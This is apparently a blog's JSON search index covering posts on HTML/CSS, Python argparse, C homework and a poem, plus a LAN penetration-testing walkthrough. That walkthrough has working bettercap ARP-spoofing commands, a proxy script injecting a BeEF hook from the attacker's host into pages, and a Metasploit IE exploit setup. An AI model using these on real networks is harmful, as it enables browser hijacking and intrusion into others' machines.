\u003ch1\u003eThe Title Of An article.\u003c/h1\u003e \u003cp\u003eThe Paragraph.\u003c/p\u003e \u003c/body\u003e \u003c/html\u003e ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:1:1","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"Missing Symbols Sometimes I get asked about this issue as well, and I feel like these are all basic errors. Looking at the code, I’m like, “What is this mess?\" It’s clearly not standard HTML. \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta charset=\"utf-8\" \u003e \u003ctitle\u003eTest\u003c/title \u003c/head\u003e \u003cbody\u003e \u003cdiv\u003e \u003ch1\u003eTest\u003c/h1 \u003cp Text\u003c/p\u003e \u003cdiv\u003e /body\u003e \u003c/html\u003e This type of code… Either they weren’t paying attention when writing it or they’re not familiar with how to use these tags. Or perhaps they don’t know how to represent tags. Let me explain again: there are two types of tags, single tags and double tags. Taking the tag for inserting an image as an example, the single tag looks like this: \u003cimg /\u003e. The \u003c at the beginning and \u003e at the end can’t be left out, and it’s best to add a / before the closing \u003e. As for double tags, let’s take the paragraph tag as an example: \u003cp\u003eThis is a paragraph.\u003c/p\u003e. This type of double tag must have an opening and closing tag. Neither the beginning nor the end can be left out. When writing double tags and there’s nesting involved, it’s a good habit to indent each level on a new line. \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003cmeta charset=\"utf-8\" /\u003e \u003ctitle\u003eTest\u003c/title\u003e \u003c/head\u003e \u003cbody\u003e \u003cdiv class=\"Box1\"\u003e \u003cdiv class=\"Box2\"\u003e \u003ch1\u003eTitle\u003c/h1\u003e \u003cul\u003e \u003cli\u003e \u003cp\u003ePara1\u003c/p\u003e \u003c/li\u003e \u003cli\u003e \u003cp\u003ePara2\u003c/p\u003e \u003c/li\u003e \u003c/ul\u003e \u003c/div\u003e \u003c/div\u003e \u003c/body\u003e \u003c/html\u003e This way, the code is not only beautiful, but it’s also easier to maintain and troubleshoot in the future. ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:1:2","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"Not Differentiating Between \u003chead\u003e and \u003cbody\u003e In addition to the aforementioned issues, there are even cases where people write \u003cdiv\u003e tags inside the \u003chead\u003e, which indicates that they haven’t yet distinguished between the HTML header and content display areas. I can only explain it this way: The \u003chead\u003e section is the header information area, which is what the server sends to the browser. The code inside it is not rendered on the page in the browser. The \u003cbody\u003e section is the content display area, used to write tags that can be displayed. You can also write \u003cscript\u003e tags with JavaScript code nested inside, but CSS styles cannot be written here. ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:1:3","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"CSS Problems In addition to syntax issues and not differentiating between sections in HTML, there are also some strange questions people ask me when writing CSS. ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:2:0","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"Referencing Stylesheets There are three ways to reference CSS stylesheets, according to textbooks, but the most commonly used are two. My personal favorite is to use \u003clink\u003e to link the stylesheet. This way, you can split it into two files and write them side by side, making it very convenient. You don’t need to flip back and forth like with inline styles. As for inline styles? They’re not used much, I almost never use them in practice. But there are still people who don’t know how to link stylesheets? The main issue is not understanding the concept of paths. It’s actually very simple – just remember the relative path and then fill it into the href attribute value of the \u003clink\u003e tag. \u003clink type=\"text/css\" rel=\"stylesheet\" href=\"css/style.css\" /\u003e Of course, there are still people who don’t know how to use inline styles, but there’s not much to say about it. Just remember that the \u003cstyle\u003e tag must be placed inside the \u003chead\u003e section and then write the styles using the correct CSS format inside the \u003cstyle\u003e tag. For example： \u003c!DOCTYPE html\u003e \u003chtml lang=\"en\"\u003e \u003chead\u003e \u003cmeta charset=\"UTF-8\"\u003e \u003cmeta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"\u003e \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"\u003e \u003ctitle\u003eDocument\u003c/title\u003e \u003c/head\u003e \u003cstyle type=\"text/css\"\u003e *{ margin: 0; padding: 0; } .TopHead{ background-color: white; border: solid 1px black; width: 100px; height: 200px; } \u003c/style\u003e \u003cbody\u003e \u003cdiv class=\"TopHead\"\u003e \u003c/div\u003e \u003c/body\u003e \u003c/html\u003e ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:2:1","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"When writing CSS, losing ;, {, and } and misspelling words. These are all minor mistakes that can be improved with more practice and attention. The correct template should look like this: Selector { Property: value; } .TopHead{ background-color: white; border: solid 1px black; width: 100px; height: 200px; } ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:2:2","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"Remove default padding and margin Many beginners do not develop the habit of resetting default padding and margin in CSS when they start coding, which leads to difficulty in styling as they progress. In fact, it’s quite simple: *{ margin: 0; padding: 0; } * is a regular wildcard character in CSS, and it has the lowest priority among all selectors. Setting its margin and padding properties to 0 before everything else can eliminate the default padding and margin for all elements before they are selected by a specific selector. This makes it much easier to make more accurate adjustments to element spacing later on. If you’re still not sure whether or not to include it, try it out and see the difference for yourself. ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:2:3","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Web"],"content":"Inappropriate naming when using class selectors and ID selectors This is also a big problem that greatly affects the readability and maintainability of the code. I often see something like this: .a1{ } .a2{ } #b1{ } #b2{ } It’s hard to know what element it actually selects, which increases workload… Because at first glance, it’s unclear what it refers to. Also, using Chinese characters for naming, although I used to like to do this when I was in middle school, this habit is not good because if there are some server encoding issues, the style files may not be loaded properly. h1.中央标题 { text-align:center; font-size:22px; } h1.一级标题 { font-size:22px; } h2.二级标题 { font-size:20px; } h2.三级标题 { font-size:18px; } h2.四级标题 { font-size:16px; } p.普通文字 { text-indent:25px; font-size:15px; text-align:justify; } But some people even use numbers! And then they ask me why the style is not displaying properly! .1{ color: red; } Numbers or names that start with numbers cannot be used as class selector names and IDs in CSS. Similarly, in many programming languages, it is not allowed to name variables using numbers or names that begin with numbers. To avoid this problem, naming conventions such as camelCase and _ concatenation can be used. Upper camel case refers to two words combined, with the first letter of each word capitalized, such as TopHead. Lower camel case refers to two words combined, with only the first letter of the second word capitalized, such as contentPlace. For naming conventions with more than two words, the _ character is needed to combine them, such as the_menu_bar. .TopHead{ width: 1000px; height: 300px; } .contentPlace{ width: 1000px; height: auto; } .the_menu_bar{ width: 100%; height: 50px; background-color: blue; } This significantly improves readability so that one can generally tell at a glance which element corresponds to which, without having to spend time searching through the code. End The above are just my personal opinions and methods for addressing some of the small issues that beginner learners may encounter when studying HTML and CSS. There may be other problems that I haven’t discovered yet… Feel free to leave a comment below to share your thoughts and feedback. ","date":"2022-11-17","objectID":"/posts/something-about-html-css/:2:4","tags":["HTML","CSS","Front-end","Web Design","Basics","Rant"],"title":"Some Thoughts on Writing HTML and CSS","uri":"/posts/something-about-html-css/"},{"categories":["Programming"],"content":"Using ArgParse in Python learning notes allows Python programs to add options on the command line...","date":"2021-05-16","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-argparse/","tags":["Notes","Linux","Python","Programming"],"title":"Python Learning Notes - ArgParse","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-argparse/"},{"categories":["Programming"],"content":"Introduction In order to make TitleGetter more flexible, I plan to let users customize list.txt and the output file. Therefore, this requires the use of command line options… just like some software we commonly use, such as pacman. So I googled it and learned about ArgParse. The argparse module makes it easy to write user-friendly command-line interfaces. The program defines what arguments it requires, and argparse will figure out how to parse those out of sys.argv. The argparse module also automatically generates help and usage messages and issues errors when users give the program invalid arguments. From: argparse â Parser for command-line options, arguments and sub-commands — Python 3.9.5 documentation Then I tried typing a file… The result of running it looks like this: So let’s organize some related notes… Creating Parser \u0026\u0026 Adding Options Before everything starts, we need to use the ArgumentParser usage in the argparse library to create a variable named parser. import argparse parser = argparse.ArgumentParser(description='') There is a parameter description='' here, which is used for writing some explanations… For example, we wrote: import argparse parser = argparse.ArgumentParser(description='Welcome') By the way, we need to write down some necessary options~ parser.add_argument() can be used here. We need to add some things inside, such as the usage format of options like -a and --about. Finally, add args = parser.parse_args(). import argparse parser = argparse.ArgumentParser(description='Welcome') parser.add_argument('-a','--about', help='Show the about') args = parser.parse_args() At this point, we can add -h to see the effect. $ python a.py -h usage: a.py [-h] [-a ABOUT] Welcome optional arguments: -h, --help show this help message and exit -a ABOUT, --about ABOUT Show the about Then let’s organize a few commonly used parameters. default * The default value when no parameters are set. parser.add_argument('-a','--about', help='Show the about', defualt='text.txt') If the user does not set this parameter, a default one will be provided automatically. help Add explanatory text to the corresponding option. required Used to determine whether this parameter must be set. If required=True is set, an error will be reported if this parameter is not set at runtime. parser.add_argument('-a','--about', required=True) $ python a.py usage: a.py [-h] -a ABOUT a.py: error: the following arguments are required: -a/--about Calling the Obtained Option Parameters Next, we need to use the obtained parameters. We know that when something is written after an option on the command line, the program will get it as a string by default. Then we have to use this to do what we want. I wrote a simple script that can write the contents of one file to another file. import argparse print(''' By WeepingDogel ''') def GetParser(): parser = argparse.ArgumentParser(description='Help', epilog='A new testing program.') parser.add_argument('-o','--output', help='Output file',default='test.txt' , required=True) parser.add_argument('-r','--read',help='read a file', required=True) return parser def Write(content, filename): f = open(filename,\"a\") f.write(content) f.close() print(filename + ' has been written') def Read(filename): f = open(filename) text = f.read() return text def Main(): parser = GetParser() args = parser.parse_args() Write(Read(args.read),args.output) Main() It is easy to see that what we obtain will go into the variable args, because it is assigned from the content returned by the function parser.parse_args(). To get the corresponding value of an option parameter, you can access it using args.option_name. For example, if we want to get the written file name: $ vim b.py import argparse parser = argparse.ArgumentParser(description='Help', epilog='A new testing program.') parser.add_argument('-o','--output', help='Output file',default='test.txt' , required=True) args = parser.parse_args() filename = args.output print(\"The filename is \"+ filenam","date":"2021-05-16","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-argparse/:0:0","tags":["Notes","Linux","Python","Programming"],"title":"Python Learning Notes - ArgParse","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-argparse/"},{"categories":["Penetration Testing"],"content":"Using bettercap to bind Beef hooks for browser hijacking, and using Beef-hijacked browsers to execute payloads.","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["Penetration Testing"],"content":"Introduction Well… Let’s start with some rambling as usual… Today, I tried using Beef and Bettercap together and found them to be quite effective~ Also, if you are using Internet Explorer (IE), you can use Beef in conjunction with the ms14-064 module in Metasploit to gain system privileges~ Without further ado, let’s get started~ ","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/:1:0","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["Penetration Testing"],"content":"Testing Environment First, let’s talk about the testing environment. Attacker machine Arch Linux 192.168.101.15 Target machine Windows XP on VirtualBox 192.168.101.43 Due to limited resources, we can only use Windows XP for this demonstration~ ","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/:1:1","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["Penetration Testing"],"content":"Tools Used Bettercap First and foremost, Bettercap~ It is used for ARP spoofing, DNS hijacking, and network interruption attacks, which are all part of man-in-the-middle attacks… Beef Used for browser hijacking… and it can do many things, but I don’t know the specifics. Metasploit (msf) Our old friend~ ","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/:1:2","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["Penetration Testing"],"content":"Testing Process First, let’s open bettercap. $ sudo bettercap Then we will see the following output.. Note: You need to use sudo here because it requires root privileges to access network hardware such as network cards. If you don’t use sudo, you will see a prompt like this. Next, set the target for ARP spoofing: set arp.spoof.targets 192.168.101.43 Here, the targets are set to the IP address of the target machine. Next, start Beef, and remember to use sudo as mentioned earlier. $ sudo beef The output should be like this: Now, let’s talk about the links displayed in the terminal: Hook URL: http://192.168.101.15:3000/hook.js This is the hook address mentioned earlier. Once a browser visits a page with this JavaScript, it will be hooked by Beef~ Later, we will write it into an attack script~ UI URL: http://192.168.101.15:3000/ui/panel This is the Beef control panel. After opening it, you will see a login page, similar to the cover image. After logging in, it will look like this. About the username and password, here’s the thing: In some systems, you can’t use the default login credentials (beef:beef) for Beef, and it may not even start. For example, this is the case with my Arch Linux. [14:40:25][!] ERROR: Default username and password in use! [14:40:25] |_ Change the beef.credentials.passwd in config.yaml In such cases, what you need to do is modify the config.yaml file. In my case, the file is located at /usr/share/beef/config.yaml. Modify it as follows: beef: version: '0.5.0.0-alpha-pre' # More verbose messages (server-side) debug: false # More verbose messages (client-side) client_debug: false # Used for generating secure tokens crypto_default_value_length: 80 # Credentials to authenticate in BeEF. # Used by both the RESTful API and the Admin interface credentials: user: \"Choose a username\" passwd: \"Think of a password\" After that, you can start the system, and the username and password you set will be used for login. Alright, without further ado, let’s continue. Next, we need to write a JavaScript script to use with Bettercap. function onResponse(req,res){ if(res.ContentType.indexOf('text/html')==0){ var body=res.ReadBody(); if(body.indexOf('\u003c/head\u003e')!=-1){ res.Body=body.replace( '\u003c/head\u003e', '\u003cscript type=\"text/javascript\" src=\"http://192.168.101.15:3000/hook.js\"\u003e\u003c/script\u003e\u003c/head\u003e' ); } } } Save this file to a directory of your choice. I will save it to /home/weepingdogel/Downloads/hack/192.168.101.43/hack.js. Then, let’s go back to Bettercap and set the http.proxy.script parameter to the path mentioned above: set http.proxy.script /home/weepingdogel/Downloads/hack/192.168.101.43/hack.js Then start net.probe, arp.spoof, and http.proxy in sequence. net.probe on arp.spoof on http.proxy on Alright… Now everything is set up and ready to go… Then we’ll have the target machine open a browser and visit a website… Since IE8 no longer supports HTTPS for Bing, it will be vulnerable as soon as it opens. And then there’s so much we can do. I decided to use a clippy module that binds to a ms14-064 address, and now it’s msf’s turn. $ msfconsole Enable Modules. \u003e use exploit/windows/browser/ms14_064_ole_code_execution \u003e info Let’s see the description. Description: This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. Check the options show options Module options (exploit/windows/browser/ms14_064_ole_code_execution): Name Current Setting Required Description ---- --------------- -------- ----------- AllowPowershellPrompt false yes Allow exploit to try Powershell Retries true no Allow the browser to retry the module SR","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/:2:0","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["Penetration Testing"],"content":"End I’m sorry, but I’m not sure if I’m going to be able to do this. qwq However, to declare that the content of this article is limited to the test to learn to use, do not take to do bad things, or the consequences of their own Oh ~ Finally, this site follows the [CC-BY-NC 4.0 protocol] (https://creativecommons.org/licenses/by-nc/4.0/), reproduced please specify the source! ","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/:3:0","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["Penetration Testing"],"content":"Reference links CVE-2014-6332 : OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows Microsoft Security Bulletin MS14-064 - Critical | Microsoft Docs Microsoft Internet Explorer 11 - OLE Automation Array Remote Code Execution (1) - Windows remote Exploit Microsoft Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / PowerShell VirtualAlloc (MS14-064) - Windows remote Exploit IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows CVE-2014-6332: it’s raining shells | forsec kali bettercap的使用 | UsstZt Bettercap2.6与beef的使用_请你吃橘子-CSDN博客 DeepL Translate ","date":"2021-02-02","objectID":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/:4:0","tags":["beef","bettercap","Linux","metasploit","notes","penetration testing","ARP spoofing","hackers"],"title":"LAN Penetration Testing with Beef, Bettercap, and Other Tools","uri":"/posts/beef%E9%85%8D%E5%90%88bettercap%E4%BB%A5%E5%8F%8Amsf%E7%AD%89%E5%A4%9A%E7%A7%8D%E5%B7%A5%E5%85%B7%E7%9A%84%E5%B1%80%E5%9F%9F%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"},{"categories":["problem solving"],"content":"Help her write an assignment qwq","date":"2020-12-02","objectID":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/","tags":["C language","homework","assignment help","example"],"title":"Help with College Computer Homework","uri":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/"},{"categories":["problem solving"],"content":"Introduction Help with homework qwq… I haven’t played with C language for a long time, let me try to see if I can do it. PS: I’m on Linux, the execution method may be different. If you are on Windows, you need an editor to run it. For example, Dev C++, VS 2019, etc. ","date":"2020-12-02","objectID":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/:1:0","tags":["C language","homework","assignment help","example"],"title":"Help with College Computer Homework","uri":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/"},{"categories":["problem solving"],"content":"Experiment Eleven Experiment Eleven Objective: Understand C programming concepts Understand C program design framework Contents: Input a grade and output its level rating. This is straightforward. We need to list several grade levels: Excellent 80 ~ 100 points [80,100] Pass 60~79 points [60,79] Fail Below 60 points [0,60) In the code, we can use expressions to represent the intervals, for example: score \u003e= 80 \u0026\u0026 score \u003c= 100 Then we use if() to determine the grade level. #include\u003cstdio.h\u003e int main(){ int score = 85; if(score \u003e= 80 \u0026\u0026 score \u003c= 100){ printf(\"The grade is excellent\"); }else if(score \u003e= 60 \u0026\u0026 score \u003c= 79){ printf(\"The grade is pass\"); }else if(score \u003e= 0 \u0026\u0026 score \u003c 60){ printf(\"The grade is fail\"); } } Next, we run the program. Output: weepingdogel@WeepingDogel /tmp\u003e make test cc test.c -o test weepingdogel@WeepingDogel /tmp\u003e ./test The grade is excellent⏎ Then we need to get the user’s input for the grade, like this, using the scanf() function to get the user’s input and assign it to an integer variable score. #include\u003cstdio.h\u003e int main(){ int score; printf(\"Enter your grade:\"); scanf(\"%d\",\u0026score); printf(\"%d\",score); } Next, we combine these two pieces of code together. The complete code is as follows: #include\u003cstdio.h\u003e int main(){ int score; printf(\"Enter your grade:\"); scanf(\"%d\",\u0026score); if(score \u003e= 80 \u0026\u0026 score \u003c= 100){ printf(\"The grade is excellent\"); }else if(score \u003e= 60 \u0026\u0026 score \u003c= 79){ printf(\"The grade is pass\"); }else if(score \u003e= 0 \u0026\u0026 score \u003c 60){ printf(\"The grade is fail\"); } } The idea is to first use scanf() function to get the user’s input for the grade, then use if() statements to compare and output the result. This is the output: weepingdogel@WeepingDogel /tmp\u003e make test cc test.c -o test weepingdogel@WeepingDogel /tmp\u003e ./test Enter your grade:99 The grade is excellent⏎ weepingdogel@WeepingDogel /tmp\u003e ./test Enter your grade:85 The grade is excellent⏎ weepingdogel@WeepingDogel /tmp\u003e ./test Enter your grade:60 The grade is pass⏎ weepingdogel@WeepingDogel /tmp\u003e ./test Enter your grade:59 The grade is fail⏎ ","date":"2020-12-02","objectID":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/:2:0","tags":["C language","homework","assignment help","example"],"title":"Help with College Computer Homework","uri":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/"},{"categories":["problem solving"],"content":"Experiment 12 Experiment Purpose: Understand C program design ideas Understand C program design frameworks Task content Requires writing a program that registers and then logs in, outputting the format shown in the following figure: -------------------------------------- Registration Interface Please enter your registration username: Ly Please enter your registration password: 123 Congratulations! Registration successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username: Ly Please enter your login password: 123 Login successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username: Ly Please enter your login password: 1234 Login failed! -------------------------------------- Define 4 variables to save the registered username, password and login username, password respectively. Use if…else statement to complete the judgment of the username and password. To put it simply… it uses scanf() to get input, assigns the values to variables, and then performs the judgment… Pft! Alright, here’s the code, no explanation needed… #include\u003cstdio.h\u003e #include\u003cstring.h\u003e int main(){ /* Define 4 variables to save the registered username, password and login username, password respectively */ char username_sign[40]; char password_sign[16]; char username_login[40]; char password_login[16]; /* Define 4 variables to save the registered username, password and login username, password respectively */ printf(\"--------------------------------------\\n Registration Interface\\n\"); printf(\"Please enter your registration username:\"); scanf(\"%s\", username_sign); printf(\"Please enter your registration password:\"); scanf(\"%s\", password_sign); printf(\"Congratulations! Registration successful!\"); printf(\"\\n--------------------------------------\"); /* Use scanf() to get input */ printf(\"\\n\\n--------------------------------------\\n Login Interface\\n\"); printf(\"Please enter your login username:\"); scanf(\"%s\",username_login); printf(\"Please enter your login password:\"); scanf(\"%s\",password_login); /* Use if...else statement to complete the judgment of the username and password */ /* Uses the strcmp() function here */ if(strcmp(username_login,username_sign) == 0 \u0026\u0026 strcmp(password_login,password_sign) == 0){ printf(\"Login successful!\"); }else{ printf(\"Login failed!\"); } printf(\"\\n--------------------------------------\"); } However, it’s worth noting that this string comparison method is slightly different. It requires using the strcmp() function, something like this. if(strcmp(username_login,username_sign) == 0 \u0026\u0026 strcmp(password_login,password_sign) == 0){ printf(\"Login successful!\"); }else{ printf(\"Login failed!\"); } It seems to calculate a numerical value, which equals 0 if the two strings are the same. That’s roughly how it works. Let’s take a look at the output… weepingdogel@WeepingDogel /tmp\u003e make test2 cc test2.c -o test2 weepingdogel@WeepingDogel /tmp\u003e ./test2 -------------------------------------- Registration Interface Please enter your registration username:Ly Please enter your registration password:123 Congratulations! Registration successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username:Ly Please enter your login password:123 Login successful! --------------------------------------⏎ weepingdogel@WeepingDogel /tmp\u003e ./test2 -------------------------------------- Registration Interface Please enter your registration username:Ly Please enter your registration password:123 Congratulations! Registration successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username:Ly Please enter your login password:1234 Login failed! --------------------------------------⏎ And that’s it! ","date":"2020-12-02","objectID":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/:3:0","tags":["C language","homework","assignment help","example"],"title":"Help with College Computer Homework","uri":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/"},{"categories":["problem solving"],"content":"Closing Remarks Actually, there are still some details that I might overlook due to carelessness, so I can’t say “Is that it? Is that all?” But relatively speaking, it’s still quite simple… yeah… ","date":"2020-12-02","objectID":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/:4:0","tags":["C language","homework","assignment help","example"],"title":"Help with College Computer Homework","uri":"/posts/%E5%B8%AE%E5%81%9A%E5%A4%A7%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BD%9C%E4%B8%9A/"},{"categories":["Poem"],"content":"A poem...","date":"2020-11-29","objectID":"/posts/2020-dec-29/","tags":["Poem"],"title":"If Only I...","uri":"/posts/2020-dec-29/"},{"categories":["Poem"],"content":"PAST If only I had been stronger, I wouldn’t have been damaged by the WIND. If only I had been smarter, I wouldn’t have been cheated by the CROWD. If only I had been more brave, I wouldn’t have been thought to be a SLAVE. ","date":"2020-11-29","objectID":"/posts/2020-dec-29/:0:1","tags":["Poem"],"title":"If Only I...","uri":"/posts/2020-dec-29/"},{"categories":["Poem"],"content":"PRESENT If only I were more fortunate, I wouldn’t drop into a CAGE. If only I were more cautious, I wouldn’t have to be sure if it’s DANGEROUS. If only I worked harder, I wouldn’t be said to be a LOSER. ","date":"2020-11-29","objectID":"/posts/2020-dec-29/:0:2","tags":["Poem"],"title":"If Only 